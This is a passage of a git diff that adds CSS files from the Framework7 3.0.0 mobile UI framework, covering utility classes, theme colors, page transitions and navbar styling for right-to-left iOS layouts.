flex-shrink: 2 !important; +} +.flex-shrink-3 { + -webkit-flex-shrink: 3 !important; + -ms-flex-negative: 3 !important; + flex-shrink: 3 !important; +} +.flex-shrink-4 { + -webkit-flex-shrink: 4 !important; + -ms-flex-negative: 4 !important; + flex-shrink: 4 !important; +} +.flex-shrink-5 { + -webkit-flex-shrink: 5 !important; + -ms-flex-negative: 5 !important; + flex-shrink: 5 !important; +} +.flex-shrink-6 { + -webkit-flex-shrink: 6 !important; + -ms-flex-negative: 6 !important; + flex-shrink: 6 !important; +} +.flex-shrink-7 { + -webkit-flex-shrink: 7 !important; + -ms-flex-negative: 7 !important; + flex-shrink: 7 !important; +} +.flex-shrink-8 { + -webkit-flex-shrink: 8 !important; + -ms-flex-negative: 8 !important; + flex-shrink: 8 !important; +} +.flex-shrink-9 { + -webkit-flex-shrink: 9 !important; + -ms-flex-negative: 9 !important; + flex-shrink: 9 !important; +} +.flex-shrink-10 { + -webkit-flex-shrink: 10 !important; + -ms-flex-negative: 10 !important; + flex-shrink: 10 !important; +} +.justify-content-flex-start { + -webkit-box-pack: start !important; + -webkit-justify-content: flex-start !important; + -ms-flex-pack: start !important; + justify-content: flex-start !important; +} +.justify-content-center { + -webkit-box-pack: center !important; + -webkit-justify-content: center !important; + -ms-flex-pack: center !important; + justify-content: center !important; +} +.justify-content-flex-end { + -webkit-box-pack: end !important; + -webkit-justify-content: flex-end !important; + -ms-flex-pack: end !important; + justify-content: flex-end !important; +} +.justify-content-space-between { + -webkit-box-pack: justify !important; + -webkit-justify-content: space-between !important; + -ms-flex-pack: justify !important; + justify-content: space-between !important; +} +.justify-content-space-around { + -webkit-justify-content: space-around !important; + -ms-flex-pack: distribute !important; + justify-content: space-around !important; +} +.justify-content-space-evenly { + -webkit-box-pack: space-evenly !important; + -webkit-justify-content: space-evenly !important; + -ms-flex-pack: space-evenly !important; + justify-content: space-evenly !important; +} +.justify-content-stretch { + -webkit-box-pack: stretch !important; + -webkit-justify-content: stretch !important; + -ms-flex-pack: stretch !important; + justify-content: stretch !important; +} +.justify-content-start { + -webkit-box-pack: start !important; + -webkit-justify-content: start !important; + -ms-flex-pack: start !important; + justify-content: start !important; +} +.justify-content-end { + -webkit-box-pack: end !important; + -webkit-justify-content: end !important; + -ms-flex-pack: end !important; + justify-content: end !important; +} +.justify-content-left { + -webkit-box-pack: left !important; + -webkit-justify-content: left !important; + -ms-flex-pack: left !important; + justify-content: left !important; +} +.justify-content-right { + -webkit-box-pack: right !important; + -webkit-justify-content: right !important; + -ms-flex-pack: right !important; + justify-content: right !important; +} +.align-content-flex-start { + -webkit-align-content: flex-start !important; + -ms-flex-line-pack: start !important; + align-content: flex-start !important; +} +.align-content-flex-end { + -webkit-align-content: flex-end !important; + -ms-flex-line-pack: end !important; + align-content: flex-end !important; +} +.align-content-center { + -webkit-align-content: center !important; + -ms-flex-line-pack: center !important; + align-content: center !important; +} +.align-content-space-between { + -webkit-align-content: space-between !important; + -ms-flex-line-pack: justify !important; + align-content: space-between !important; +} +.align-content-space-around { + -webkit-align-content: space-around !important; + -ms-flex-line-pack: distribute !important; + align-content: space-around !important; +} +.align-content-stretch { + -webkit-align-content: stretch !important; + -ms-flex-line-pack: stretch !important; + align-content: stretch !important; +} +.align-items-flex-start { + -webkit-box-align: start !important; + -webkit-align-items: flex-start !important; + -ms-flex-align: start !important; + align-items: flex-start !important; +} +.align-items-flex-end { + -webkit-box-align: end !important; + -webkit-align-items: flex-end !important; + -ms-flex-align: end !important; + align-items: flex-end !important; +} +.align-items-center { + -webkit-box-align: center !important; + -webkit-align-items: center !important; + -ms-flex-align: center !important; + align-items: center !important; +} +.align-items-stretch { + -webkit-box-align: stretch !important; + -webkit-align-items: stretch !important; + -ms-flex-align: stretch !important; + align-items: stretch !important; +} +.align-self-flex-start { + -webkit-align-self: flex-start !important; + -ms-flex-item-align: start !important; + align-self: flex-start !important; +} +.align-self-flex-end { + -webkit-align-self: flex-end !important; + -ms-flex-item-align: end !important; + align-self: flex-end !important; +} +.align-self-center { + -webkit-align-self: center !important; + -ms-flex-item-align: center !important; + align-self: center !important; +} +.align-self-stretch { + -webkit-align-self: stretch !important; + -ms-flex-item-align: stretch !important; + align-self: stretch !important; +} +.text-align-left { + text-align: left !important; +} +.text-align-center { + text-align: center !important; +} +.text-align-right { + text-align: right !important; +} +.text-align-justify { + text-align: justify !important; +} +.float-left { + float: left !important; +} +.float-right { + float: right !important; +} +.float-none { + float: none !important; +} +.vertical-align-bottom { + vertical-align: bottom !important; +} +.vertical-align-middle { + vertical-align: middle !important; +} +.vertical-align-top { + vertical-align: top !important; +} +.no-padding { + padding: 0 !important; +} +.no-padding-left { + padding-left: 0 !important; +} +.no-padding-right { + padding-right: 0 !important; +} +.no-padding-top { + padding-top: 0 !important; +} +.no-padding-bottom { + padding-bottom: 0 !important; +} +.no-margin { + margin: 0 !important; +} +.no-margin-left { + margin-left: 0 !important; +} +.no-margin-right { + margin-right: 0 !important; +} +.no-margin-top { + margin-top: 0 !important; +} +.no-margin-bottom { + margin-bottom: 0 !important; +} +.width-auto { + width: auto !important; +} +.width-100 { + width: 100% !important; +} +.ios .padding { + padding: 15px !important; +} +.ios .padding-top { + padding-top: 15px !important; +} +.ios .padding-bottom { + padding-bottom: 15px !important; +} +.ios .padding-left { + padding-left: 15px !important; +} +.ios .padding-left-ios-edge { + padding-left: constant(safe-area-inset-left); + padding-left: env(safe-area-inset-left); +} +.ios .padding-right-ios-edge { + padding-right: constant(safe-area-inset-right); + padding-right: env(safe-area-inset-right); +} +.ios .padding-top-ios-edge { + padding-top: constant(safe-area-inset-top); + padding-top: env(safe-area-inset-top); +} +.ios .padding-bottom-ios-edge { + padding-bottom: constant(safe-area-inset-bottom); + padding-bottom: env(safe-area-inset-bottom); +} +.ios .padding-right { + padding-right: 15px !important; +} +.ios .padding-vertical { + padding-top: 15px !important; + padding-bottom: 15px !important; +} +.ios .padding-horizontal { + padding-left: 15px !important; + padding-right: 15px !important; +} +.ios .margin { + margin: 15px !important; +} +.ios .margin-top { + margin-top: 15px !important; +} +.ios .margin-bottom { + margin-bottom: 15px !important; +} +.ios .margin-left { + margin-left: 15px !important; +} +.ios .margin-right { + margin-right: 15px !important; +} +.ios .margin-vertical { + margin-top: 15px !important; + margin-bottom: 15px !important; +} +.ios .margin-horizontal { + margin-left: 15px !important; + margin-right: 15px !important; +} +.ios .text-color-red { + color: #ff3b30 !important; +} +.ios .bg-color-red { + background-color: #ff3b30 !important; +} +.ios .border-color-red { + border-color: #ff3b30 !important; +} +.ios .text-color-green { + color: #4cd964 !important; +} +.ios .bg-color-green { + background-color: #4cd964 !important; +} +.ios .border-color-green { + border-color: #4cd964 !important; +} +.ios .text-color-blue { + color: #007aff !important; +} +.ios .bg-color-blue { + background-color: #007aff !important; +} +.ios .border-color-blue { + border-color: #007aff !important; +} +.ios .text-color-pink { + color: #ff2d55 !important; +} +.ios .bg-color-pink { + background-color: #ff2d55 !important; +} +.ios .border-color-pink { + border-color: #ff2d55 !important; +} +.ios .text-color-yellow { + color: #ffcc00 !important; +} +.ios .bg-color-yellow { + background-color: #ffcc00 !important; +} +.ios .border-color-yellow { + border-color: #ffcc00 !important; +} +.ios .text-color-orange { + color: #ff9500 !important; +} +.ios .bg-color-orange { + background-color: #ff9500 !important; +} +.ios .border-color-orange { + border-color: #ff9500 !important; +} +.ios .text-color-gray { + color: #8e8e93 !important; +} +.ios .bg-color-gray { + background-color: #8e8e93 !important; +} +.ios .border-color-gray { + border-color: #8e8e93 !important; +} +.ios .text-color-white { + color: #ffffff !important; +} +.ios .bg-color-white { + background-color: #ffffff !important; +} +.ios .border-color-white { + border-color: #ffffff !important; +} +.ios .text-color-black { + color: #000000 !important; +} +.ios .bg-color-black { + background-color: #000000 !important; +} +.ios .border-color-black { + border-color: #000000 !important; +} +.md .padding { + padding: 16px !important; +} +.md .padding-top { + padding-top: 16px !important; +} +.md .padding-bottom { + padding-bottom: 16px !important; +} +.md .padding-left { + padding-left: 16px !important; +} +.md .padding-right { + padding-right: 16px !important; +} +.md .padding-vertical { + padding-top: 16px !important; + padding-bottom: 16px !important; +} +.md .padding-horizontal { + padding-left: 16px !important; + padding-right: 16px !important; +} +.md .margin { + margin: 16px !important; +} +.md .margin-top { + margin-top: 16px !important; +} +.md .margin-bottom { + margin-bottom: 16px !important; +} +.md .margin-left { + margin-left: 16px !important; +} +.md .margin-right { + margin-right: 16px !important; +} +.md .margin-vertical { + margin-top: 16px !important; + margin-bottom: 16px !important; +} +.md .margin-horizontal { + margin-left: 16px !important; + margin-right: 16px !important; +} +.md .text-color-red { + color: #f44336 !important; +} +.md .bg-color-red { + background-color: #f44336 !important; +} +.md .border-color-red { + border-color: #f44336 !important; +} +.md .text-color-green { + color: #4caf50 !important; +} +.md .bg-color-green { + background-color: #4caf50 !important; +} +.md .border-color-green { + border-color: #4caf50 !important; +} +.md .text-color-blue { + color: #2196f3 !important; +} +.md .bg-color-blue { + background-color: #2196f3 !important; +} +.md .border-color-blue { + border-color: #2196f3 !important; +} +.md .text-color-pink { + color: #e91e63 !important; +} +.md .bg-color-pink { + background-color: #e91e63 !important; +} +.md .border-color-pink { + border-color: #e91e63 !important; +} +.md .text-color-yellow { + color: #ffeb3b !important; +} +.md .bg-color-yellow { + background-color: #ffeb3b !important; +} +.md .border-color-yellow { + border-color: #ffeb3b !important; +} +.md .text-color-orange { + color: #ff9800 !important; +} +.md .bg-color-orange { + background-color: #ff9800 !important; +} +.md .border-color-orange { + border-color: #ff9800 !important; +} +.md .text-color-gray { + color: #9e9e9e !important; +} +.md .bg-color-gray { + background-color: #9e9e9e !important; +} +.md .border-color-gray { + border-color: #9e9e9e !important; +} +.md .text-color-white { + color: #ffffff !important; +} +.md .bg-color-white { + background-color: #ffffff !important; +} +.md .border-color-white { + border-color: #ffffff !important; +} +.md .text-color-black { + color: #000000 !important; +} +.md .bg-color-black { + background-color: #000000 !important; +} +.md .border-color-black { + border-color: #000000 !important; +} diff --git a/framework7/css/framework7.rtl.ios.css b/framework7/css/framework7.rtl.ios.css new file mode 100644 index 0000000..ddc542a --- /dev/null +++ b/framework7/css/framework7.rtl.ios.css @@ -0,0 +1,17446 @@ +/** + * Framework7 3.0.0 + * Full featured mobile HTML framework for building iOS & Android apps + * http://framework7.io/ + * + * Copyright 2014-2018 Vladimir Kharlampidi + * + * Released under the MIT License + * + * Released on: July 5, 2018 + */ +html { + direction: rtl; +} +html, +body, +.framework7-root { + position: relative; + height: 100%; + width: 100%; + overflow-x: hidden; +} +body { + margin: 0; + padding: 0; + font-size: 14px; + width: 100%; + background: #fff; + overflow: hidden; + -webkit-text-size-adjust: 100%; + -webkit-font-smoothing: antialiased; +} +.framework7-root { + overflow: hidden; + -webkit-box-sizing: border-box; + box-sizing: border-box; +} +.framework7-initializing *, +.framework7-initializing *:before, +.framework7-initializing *:after { + -webkit-transition-duration: 0ms !important; + transition-duration: 0ms !important; +} +/* +a, button, input, textarea, .link, .button, label, .sortable-handler { + touch-action: manipulation; + -ms-touch-action: manipulation; +} +*/ +@media (width: 1024px) and (height: 691px) and (orientation: landscape) { + html, + body, + .framework7-root { + height: 671px; + } +} +@media (width: 1024px) and (height: 692px) and (orientation: landscape) { + html, + body, + .framework7-root { + height: 672px; + } +} +* { + -webkit-tap-highlight-color: rgba(0, 0, 0, 0); + -webkit-touch-callout: none; +} +a, +input, +textarea, +select { + outline: 0; +} +a { + cursor: pointer; + text-decoration: none; +} +p { + margin: 1em 0; +} +.disabled { + opacity: 0.55 !important; + pointer-events: none !important; +} +.ios body { + font-family: -apple-system, SF UI Text, Helvetica Neue, Helvetica, Arial, sans-serif; + color: #000; + line-height: 1.4; +} +.ios .md-only, +.ios .if-md { + display: none !important; +} +.ios a { + color: #007aff; +} +@media (width: 1024px) and (height: 691px) and (orientation: landscape) { + .ios, + .ios body, + .ios .framework7-root { + height: 671px; + } +} +@media (width: 1024px) and (height: 692px) and (orientation: landscape) { + .ios, + .ios body, + .ios .framework7-root { + height: 672px; + } +} +.ios .theme-dark { + color: #fff; +} +.ios .color-theme-red a { + color: #ff3b30; +} +.ios .color-theme-green a { + color: #4cd964; +} +.ios .color-theme-blue a { + color: #007aff; +} +.ios .color-theme-pink a { + color: #ff2d55; +} +.ios .color-theme-yellow a { + color: #ffcc00; +} +.ios .color-theme-orange a { + color: #ff9500; +} +.ios .color-theme-gray a { + color: #8e8e93; +} +.ios .color-theme-white a { + color: #ffffff; +} +.ios .color-theme-black a { + color: #000000; +} +.ios a.color-red { + color: #ff3b30; +} +.ios a.color-green { + color: #4cd964; +} +.ios a.color-blue { + color: #007aff; +} +.ios a.color-pink { + color: #ff2d55; +} +.ios a.color-yellow { + color: #ffcc00; +} +.ios a.color-orange { + color: #ff9500; +} +.ios a.color-gray { + color: #8e8e93; +} +.ios a.color-white { + color: #ffffff; +} +.ios a.color-black { + color: #000000; +} +/* === Statusbar === */ +.statusbar { + position: absolute; + left: 0; + top: 0; + width: 100%; + z-index: 10000; + -webkit-box-sizing: border-box; + box-sizing: border-box; + display: none; +} +html.device-ios .statusbar, +html.ios:not(.device-ios):not(.device-android) .statusbar { + height: 20px; +} +html.device-android .statusbar, +html.md:not(.device-ios):not(.device-android) .statusbar { + height: 24px; +} +html.device-ios.device-iphone-x .statusbar { + height: constant(safe-area-inset-top); + height: env(safe-area-inset-top); +} +html.with-statusbar .statusbar { + display: block; +} +html.with-statusbar.device-ios .framework7-root, +html.with-statusbar.ios:not(.device-ios):not(.device-android) .framework7-root { + padding-top: 20px; +} +html.with-statusbar.device-android .framework7-root, +html.with-statusbar.md:not(.device-ios):not(.device-android) .framework7-root { + padding-top: 24px; +} +html.with-statusbar.device-iphone-x .framework7-root { + padding-top: constant(safe-area-inset-top); + padding-top: env(safe-area-inset-top); +} +.ios .statusbar { + background: #f7f7f8; +} +.ios .theme-dark .statusbar { + background-color: #1b1b1b; +} +/* === Views === */ +.views, +.view { + position: relative; + height: 100%; + z-index: 5000; + overflow: hidden; + -webkit-box-sizing: border-box; + box-sizing: border-box; +} +/* === Pages === */ +.pages { + position: relative; + width: 100%; + height: 100%; + overflow: hidden; +} +.page { + -webkit-box-sizing: border-box; + box-sizing: border-box; + position: absolute; + left: 0; + top: 0; + width: 100%; + height: 100%; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); +} +.page.stacked { + display: none; +} +.page-previous { + pointer-events: none; +} +.page-content { + overflow: auto; + -webkit-overflow-scrolling: touch; + -webkit-box-sizing: border-box; + box-sizing: border-box; + height: 100%; + position: relative; + z-index: 1; +} +.ios .page-shadow-effect { + position: absolute; + top: 0; + width: 16px; + bottom: 0; + z-index: -1; + content: ''; + opacity: 0; + left: 100%; + background: -webkit-gradient(linear, right top, left top, from(rgba(0, 0, 0, 0)), color-stop(10%, rgba(0, 0, 0, 0)), color-stop(50%, rgba(0, 0, 0, 0.01)), to(rgba(0, 0, 0, 0.2))); + background: -webkit-linear-gradient(right, rgba(0, 0, 0, 0) 0%, rgba(0, 0, 0, 0) 10%, rgba(0, 0, 0, 0.01) 50%, rgba(0, 0, 0, 0.2) 100%); + background: linear-gradient(to left, rgba(0, 0, 0, 0) 0%, rgba(0, 0, 0, 0) 10%, rgba(0, 0, 0, 0.01) 50%, rgba(0, 0, 0, 0.2) 100%); +} +.ios .page-opacity-effect { + position: absolute; + left: 0; + top: 0; + background: rgba(0, 0, 0, 0.1); + width: 100%; + bottom: 0; + content: ''; + opacity: 0; + z-index: 10000; +} +.ios .router-dynamic-navbar-inside .page-shadow-effect, +.ios .router-dynamic-navbar-inside .page-opacity-effect { + top: 44px; +} +.ios .page { + background: #efeff4; +} +.ios .page-previous { + -webkit-transform: translate3d(20%, 0, 0); + transform: translate3d(20%, 0, 0); +} +.ios .page-next { + -webkit-transform: translate3d(-100%, 0, 0); + transform: translate3d(-100%, 0, 0); +} +.ios .page-previous .page-opacity-effect { + opacity: 1; +} +.ios .page-previous:after { + opacity: 1; +} +.ios .page-current .page-shadow-effect { + opacity: 1; +} +.ios .page-transitioning, +.ios .page-transitioning .page-shadow-effect, +.ios .page-transitioning .page-opacity-effect { + -webkit-transition-duration: 400ms; + transition-duration: 400ms; +} +.ios .router-transition-forward .page-next, +.ios .router-transition-backward .page-next, +.ios .router-transition-forward .page-current, +.ios .router-transition-backward .page-current, +.ios .router-transition-forward .page-previous:not(.stacked), +.ios .router-transition-backward .page-previous:not(.stacked) { + pointer-events: none; +} +.ios .router-transition-css-forward .page-next { + -webkit-animation: ios-page-next-to-current 400ms forwards; + animation: ios-page-next-to-current 400ms forwards; +} +.ios .router-transition-css-forward .page-next:before { + position: absolute; + top: 0; + width: 16px; + bottom: 0; + z-index: -1; + content: ''; + opacity: 0; + left: 100%; + background: -webkit-gradient(linear, right top, left top, from(rgba(0, 0, 0, 0)), color-stop(10%, rgba(0, 0, 0, 0)), color-stop(50%, rgba(0, 0, 0, 0.01)), to(rgba(0, 0, 0, 0.2))); + background: -webkit-linear-gradient(right, rgba(0, 0, 0, 0) 0%, rgba(0, 0, 0, 0) 10%, rgba(0, 0, 0, 0.01) 50%, rgba(0, 0, 0, 0.2) 100%); + background: linear-gradient(to left, rgba(0, 0, 0, 0) 0%, rgba(0, 0, 0, 0) 10%, rgba(0, 0, 0, 0.01) 50%, rgba(0, 0, 0, 0.2) 100%); + -webkit-animation: ios-page-next-to-current-shadow 400ms forwards; + animation: ios-page-next-to-current-shadow 400ms forwards; +} +.ios .router-transition-css-forward .page-current { + -webkit-animation: ios-page-current-to-previous 400ms forwards; + animation: ios-page-current-to-previous 400ms forwards; +} +.ios .router-transition-css-forward .page-current:after { + position: absolute; + left: 0; + top: 0; + background: rgba(0, 0, 0, 0.1); + width: 100%; + bottom: 0; + content: ''; + opacity: 0; + z-index: 10000; + -webkit-animation: ios-page-current-to-previous-opacity 400ms forwards; + animation: ios-page-current-to-previous-opacity 400ms forwards; +} +.ios .router-transition-css-forward.router-dynamic-navbar-inside .page-next:before, +.ios .router-transition-css-forward.router-dynamic-navbar-inside .page-current:after { + top: 44px; +} +.ios .router-transition-css-backward .page-previous, +.ios .router-transition-css-backward .page-current { + pointer-events: none; +} +.ios .router-transition-css-backward .page-previous { + -webkit-animation: ios-page-previous-to-current 400ms forwards; + animation: ios-page-previous-to-current 400ms forwards; +} +.ios .router-transition-css-backward .page-previous:after { + position: absolute; + left: 0; + top: 0; + background: rgba(0, 0, 0, 0.1); + width: 100%; + bottom: 0; + content: ''; + opacity: 0; + z-index: 10000; + -webkit-animation: ios-page-previous-to-current-opacity 400ms forwards; + animation: ios-page-previous-to-current-opacity 400ms forwards; +} +.ios .router-transition-css-backward .page-current { + -webkit-animation: ios-page-current-to-next 400ms forwards; + animation: ios-page-current-to-next 400ms forwards; +} +.ios .router-transition-css-backward .page-current:before { + position: absolute; + top: 0; + width: 16px; + bottom: 0; + z-index: -1; + content: ''; + opacity: 0; + left: 100%; + background: -webkit-gradient(linear, right top, left top, from(rgba(0, 0, 0, 0)), color-stop(10%, rgba(0, 0, 0, 0)), color-stop(50%, rgba(0, 0, 0, 0.01)), to(rgba(0, 0, 0, 0.2))); + background: -webkit-linear-gradient(right, rgba(0, 0, 0, 0) 0%, rgba(0, 0, 0, 0) 10%, rgba(0, 0, 0, 0.01) 50%, rgba(0, 0, 0, 0.2) 100%); + background: linear-gradient(to left, rgba(0, 0, 0, 0) 0%, rgba(0, 0, 0, 0) 10%, rgba(0, 0, 0, 0.01) 50%, rgba(0, 0, 0, 0.2) 100%); + -webkit-animation: ios-page-current-to-next-shadow 400ms forwards; + animation: ios-page-current-to-next-shadow 400ms forwards; +} +.ios .router-transition-css-backward.router-dynamic-navbar-inside .page-current:before, +.ios .router-transition-css-backward.router-dynamic-navbar-inside .page-previous:after { + top: 44px; +} +.ios .theme-dark .page, +.page.ios .theme-dark { + background: #171717; +} +@-webkit-keyframes ios-page-next-to-current { + from { + -webkit-transform: translate3d(-100%, 0, 0); + transform: translate3d(-100%, 0, 0); + } + to { + -webkit-transform: translate3d(0%, 0, 0); + transform: translate3d(0%, 0, 0); + } +} +@keyframes ios-page-next-to-current { + from { + -webkit-transform: translate3d(-100%, 0, 0); + transform: translate3d(-100%, 0, 0); + } + to { + -webkit-transform: translate3d(0%, 0, 0); + transform: translate3d(0%, 0, 0); + } +} +@-webkit-keyframes ios-page-previous-to-current { + from { + -webkit-transform: translate3d(20%, 0, 0); + transform: translate3d(20%, 0, 0); + } + to { + -webkit-transform: translate3d(0%, 0, 0); + transform: translate3d(0%, 0, 0); + } +} +@keyframes ios-page-previous-to-current { + from { + -webkit-transform: translate3d(20%, 0, 0); + transform: translate3d(20%, 0, 0); + } + to { + -webkit-transform: translate3d(0%, 0, 0); + transform: translate3d(0%, 0, 0); + } +} +@-webkit-keyframes ios-page-current-to-previous { + from { + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); + } + to { + -webkit-transform: translate3d(20%, 0, 0); + transform: translate3d(20%, 0, 0); + } +} +@keyframes ios-page-current-to-previous { + from { + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); + } + to { + -webkit-transform: translate3d(20%, 0, 0); + transform: translate3d(20%, 0, 0); + } +} +@-webkit-keyframes ios-page-current-to-next { + from { + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); + } + to { + -webkit-transform: translate3d(-100%, 0, 0); + transform: translate3d(-100%, 0, 0); + } +} +@keyframes ios-page-current-to-next { + from { + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); + } + to { + -webkit-transform: translate3d(-100%, 0, 0); + transform: translate3d(-100%, 0, 0); + } +} +@-webkit-keyframes ios-page-next-to-current-shadow { + from { + opacity: 0; + } + to { + opacity: 1; + } +} +@keyframes ios-page-next-to-current-shadow { + from { + opacity: 0; + } + to { + opacity: 1; + } +} +@-webkit-keyframes ios-page-previous-to-current-opacity { + from { + opacity: 1; + } + to { + opacity: 0; + } +} +@keyframes ios-page-previous-to-current-opacity { + from { + opacity: 1; + } + to { + opacity: 0; + } +} +@-webkit-keyframes ios-page-current-to-previous-opacity { + from { + opacity: 0; + } + to { + opacity: 1; + } +} +@keyframes ios-page-current-to-previous-opacity { + from { + opacity: 0; + } + to { + opacity: 1; + } +} +@-webkit-keyframes ios-page-current-to-next-shadow { + from { + opacity: 1; + } + to { + opacity: 0; + } +} +@keyframes ios-page-current-to-next-shadow { + from { + opacity: 1; + } + to { + opacity: 0; + } +} +/* === Link === */ +.link, +.tab-link { + display: -webkit-inline-box; + display: -webkit-inline-flex; + display: -ms-inline-flexbox; + display: inline-flex; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + -webkit-align-content: center; + -ms-flex-line-pack: center; + align-content: center; + -webkit-box-pack: center; + -webkit-justify-content: center; + -ms-flex-pack: center; + justify-content: center; + position: relative; + -webkit-box-sizing: border-box; + box-sizing: border-box; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); + z-index: 1; +} +.ios .link { + -webkit-transition: opacity 300ms; + transition: opacity 300ms; +} +.ios .link i + span, +.ios .link i + i, +.ios .link span + i, +.ios .link span + span { + margin-right: 7px; +} +.ios .link.active-state { + opacity: 0.3; + -webkit-transition-duration: 0ms; + transition-duration: 0ms; +} +/* === Navbar === */ +.navbar { + position: relative; + left: 0; + top: 0; + width: 100%; + z-index: 500; + -webkit-backface-visibility: hidden; + backface-visibility: hidden; + -webkit-box-sizing: border-box; + box-sizing: border-box; + margin: 0; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); +} +.navbar b { + font-weight: 500; +} +.navbar a.link { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; +} +.navbar .title, +.navbar .left, +.navbar .right { + position: relative; + z-index: 1; +} +.navbar .title { + text-align: center; + position: relative; + overflow: hidden; + text-overflow: ellipsis; + white-space: nowrap; + -webkit-flex-shrink: 10; + -ms-flex-negative: 10; + flex-shrink: 10; + font-weight: 500; + display: inline-block; +} +.navbar .subtitle { + display: block; +} +.navbar .left, +.navbar .right { + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: start; + -webkit-justify-content: flex-start; + -ms-flex-pack: start; + justify-content: flex-start; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); +} +.navbar .right:first-child { + position: absolute; + height: 100%; +} +.navbar-inner { + position: absolute; + left: 0; + top: 0; + width: 100%; + height: 100%; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + -webkit-box-sizing: border-box; + box-sizing: border-box; +} +.navbar-inner.stacked { + display: none; +} +.views > .navbar, +.view > .navbar, +.page > .navbar { + position: absolute; +} +.ios .navbar { + height: 44px; + font-size: 17px; + background: #f7f7f8; +} +.ios .navbar.no-hairline:after { + display: none !important; +} +.ios .navbar:after { + -webkit-backface-visibility: hidden; + backface-visibility: hidden; +} +.ios .navbar a.link { + -webkit-box-pack: start; + -webkit-justify-content: flex-start; + -ms-flex-pack: start; + justify-content: flex-start; + line-height: 44px; + height: 44px; +} +.ios .navbar a.icon-only { + width: 44px; + margin: 0; + -webkit-box-pack: center; + -webkit-justify-content: center; + -ms-flex-pack: center; + justify-content: center; +} +.ios .navbar .title { + font-size: 17px; + margin: 0; + line-height: 1.2; +} +.ios .navbar .subtitle { + color: #6d6d72; + line-height: 1; + font-size: 10px; + text-align: center; + font-weight: normal; +} +.ios .navbar .left a + a, +.ios .navbar .right a + a { + margin-right: 15px; +} +.ios .navbar b, +.ios .navbar .title { + font-weight: 600; +} +.ios .navbar .left { + margin-left: 10px; +} +.ios .navbar .right { + margin-right: 10px; +} +.ios .navbar .right:first-child { + left: 8px; +} +.ios .navbar:after { + content: ''; + position: absolute; + background-color: #c4c4c4; + display: block; + z-index: 15; + top: auto; + right: auto; + bottom: 0; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 100%; + transform-origin: 50% 100%; +} +.ios.device-pixel-ratio-2 .navbar:after { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.ios.device-pixel-ratio-3 .navbar:after { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.ios .navbar-inner { + -webkit-box-pack: justify; + -webkit-justify-content: space-between; + -ms-flex-pack: justify; + justify-content: space-between; + padding: 0 8px; +} +.ios .navbar ~ *:not(.no-navbar) .page-content, +.ios .navbar ~ .page-content { + padding-top: 44px; +} +.ios .navbar-previous { + pointer-events: none; +} +.ios .navbar-previous .left, +.ios .navbar-previous .right, +.ios .navbar-previous > .title, +.ios .navbar-previous .subnavbar, +.ios .navbar-previous .fading { + opacity: 0; +} +.ios .navbar-previous .sliding { + opacity: 0; +} +.ios .navbar-previous .subnavbar.sliding, +.ios .navbar-previous.sliding .subnavbar { + opacity: 1; + -webkit-transform: translate3d(-100%, 0, 0); + transform: translate3d(-100%, 0, 0); +} +.ios .navbar-next { + pointer-events: none; +} +.ios .navbar-next .left, +.ios .navbar-next .right, +.ios .navbar-next > .title, +.ios .navbar-next .subnavbar, +.ios .navbar-next .fading { + opacity: 0; +} +.ios .navbar-next .sliding { + opacity: 0; +} +.ios .navbar-next.sliding .left, +.ios .navbar-next.sliding .right, +.ios .navbar-next.sliding > .title, +.ios .navbar-next.sliding .subnavbar { + opacity: 0; +} +.ios .navbar-next .subnavbar.sliding, +.ios .navbar-next.sliding .subnavbar { + opacity: 1; + -webkit-transform: translate3d(100%, 0, 0); + transform: translate3d(100%, 0, 0); +} +.ios .navbar-transitioning { + -webkit-transition-duration: 400ms; + transition-duration: 400ms; +} +.ios .navbar-hidden { + -webkit-transform: translate3d(0, -100%, 0); + transform: translate3d(0, -100%, 0); +} +.ios .router-transition-css-forward .navbar-current .left, +.ios .router-transition-css-backward .navbar-current .left, +.ios .router-transition-css-forward .navbar-current > .title, +.ios .router-transition-css-backward .navbar-current > .title, +.ios .router-transition-css-forward .navbar-current .right, +.ios .router-transition-css-backward .navbar-current .right, +.ios .router-transition-css-forward .navbar-current .subnavbar, +.ios .router-transition-css-backward .navbar-current .subnavbar { + -webkit-animation: ios-navbar-element-fade-out 400ms forwards; + animation: ios-navbar-element-fade-out 400ms forwards; +} +.ios .router-transition-css-forward .navbar-current .sliding, +.ios .router-transition-css-backward .navbar-current .sliding, +.ios .router-transition-css-forward .navbar-current .left.sliding .icon, +.ios .router-transition-css-backward .navbar-current .left.sliding .icon, +.ios .router-transition-css-forward .navbar-current.sliding .left, +.ios .router-transition-css-backward .navbar-current.sliding .left, +.ios .router-transition-css-forward .navbar-current.sliding .left .icon, +.ios .router-transition-css-backward .navbar-current.sliding .left .icon, +.ios .router-transition-css-forward .navbar-current.sliding > .title, +.ios .router-transition-css-backward .navbar-current.sliding > .title, +.ios .router-transition-css-forward .navbar-current.sliding .right, +.ios .router-transition-css-backward .navbar-current.sliding .right { + -webkit-transition-duration: 400ms; + transition-duration: 400ms; + opacity: 0 !important; + -webkit-animation: none; + animation: none; +} +.ios .router-transition-css-forward .navbar-current.sliding .subnavbar, +.ios .router-transition-css-backward .navbar-current.sliding .subnavbar, +.ios .router-transition-css-forward .navbar-current .sliding.subnavbar, +.ios .router-transition-css-backward .navbar-current .sliding.subnavbar { + -webkit-transition-duration: 400ms; + transition-duration: 400ms; + -webkit-animation: none; + animation: none; + opacity: 1; +} 